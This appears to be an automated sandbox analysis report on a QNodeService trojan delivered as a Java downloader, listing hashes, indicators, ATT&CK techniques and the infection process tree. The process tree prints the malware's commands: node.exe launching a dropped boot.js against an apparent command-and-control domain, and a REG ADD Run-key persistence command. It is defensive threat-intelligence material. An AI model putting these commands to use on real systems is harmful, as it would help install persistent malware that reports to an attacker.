qnodeservice | f14e10f6af2f090a7228e52439fd49e91b5bfef954f9c8634bdd6c466a774739

General

Target

Order01102020.jar
Size

220KB
MD5

b4c3a4f0d94f0d3232bdf5f8932a3f79
SHA1

86585ca9dd7c692a25a1ec599c61e5a99109f869
SHA256

f14e10f6af2f090a7228e52439fd49e91b5bfef954f9c8634bdd6c466a774739
SHA512

3614df27639770e9edf097cd6a930e62d003d5e195cd122596c711c369e0aa15e1a48911b3642b10a5708d74b946f11a2e1db8734d81da598d966f7b63c6df2d

Score

10^/10

persistence trojan qnodeservice

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3016	node.exe
3592	node.exe
3828	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\Software\Microsoft\Windows\CurrentVersion\Run\98e5edd8-35e9-4fa2-a2c7-32991fddc939 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001adaf-167.dat	js
behavioral2/files/0x000100000001adaf-172.dat	js
behavioral2/files/0x000100000001adaf-176.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	wtfismyip.com
19	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3016	node.exe
3016	node.exe
3016	node.exe
3016	node.exe
3592	node.exe
3592	node.exe
3592	node.exe
3592	node.exe
3828	node.exe
3828	node.exe
3828	node.exe
3828	node.exe
3828	node.exe
3828	node.exe
3828	node.exe
3828	node.exe
3828	node.exe
3828	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3608 wrote to memory of 2604	3608	java.exe	73
PID 3608 wrote to memory of 2604	3608	java.exe	73
PID 2604 wrote to memory of 3016	2604	javaw.exe	77
PID 2604 wrote to memory of 3016	2604	javaw.exe	77
PID 3016 wrote to memory of 3592	3016	node.exe	79
PID 3016 wrote to memory of 3592	3016	node.exe	79
PID 3592 wrote to memory of 3828	3592	node.exe	80
PID 3592 wrote to memory of 3828	3592	node.exe	80
PID 3828 wrote to memory of 4016	3828	node.exe	82
PID 3828 wrote to memory of 4016	3828	node.exe	82
PID 4016 wrote to memory of 1640	4016	cmd.exe	83
PID 4016 wrote to memory of 1640	4016	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Order01102020.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3608
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\2effec70.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain qhub55.duckdns.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3016
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_JjUdOB\boot.js --hub-domain qhub55.duckdns.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3592
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_JjUdOB\boot.js --hub-domain qhub55.duckdns.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3828
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "98e5edd8-35e9-4fa2-a2c7-32991fddc939" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4016
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "98e5edd8-35e9-4fa2-a2c7-32991fddc939" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1640

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3016-170-0x0000025AD66C0000-0x0000025AD66C1000-memory.dmp

Filesize
4KB

Download
memory/3592-173-0x0000038F65200000-0x0000038F65201000-memory.dmp

Filesize
4KB

Download
memory/3828-177-0x000003AE18280000-0x000003AE18281000-memory.dmp

Filesize
4KB

Download

Analysis

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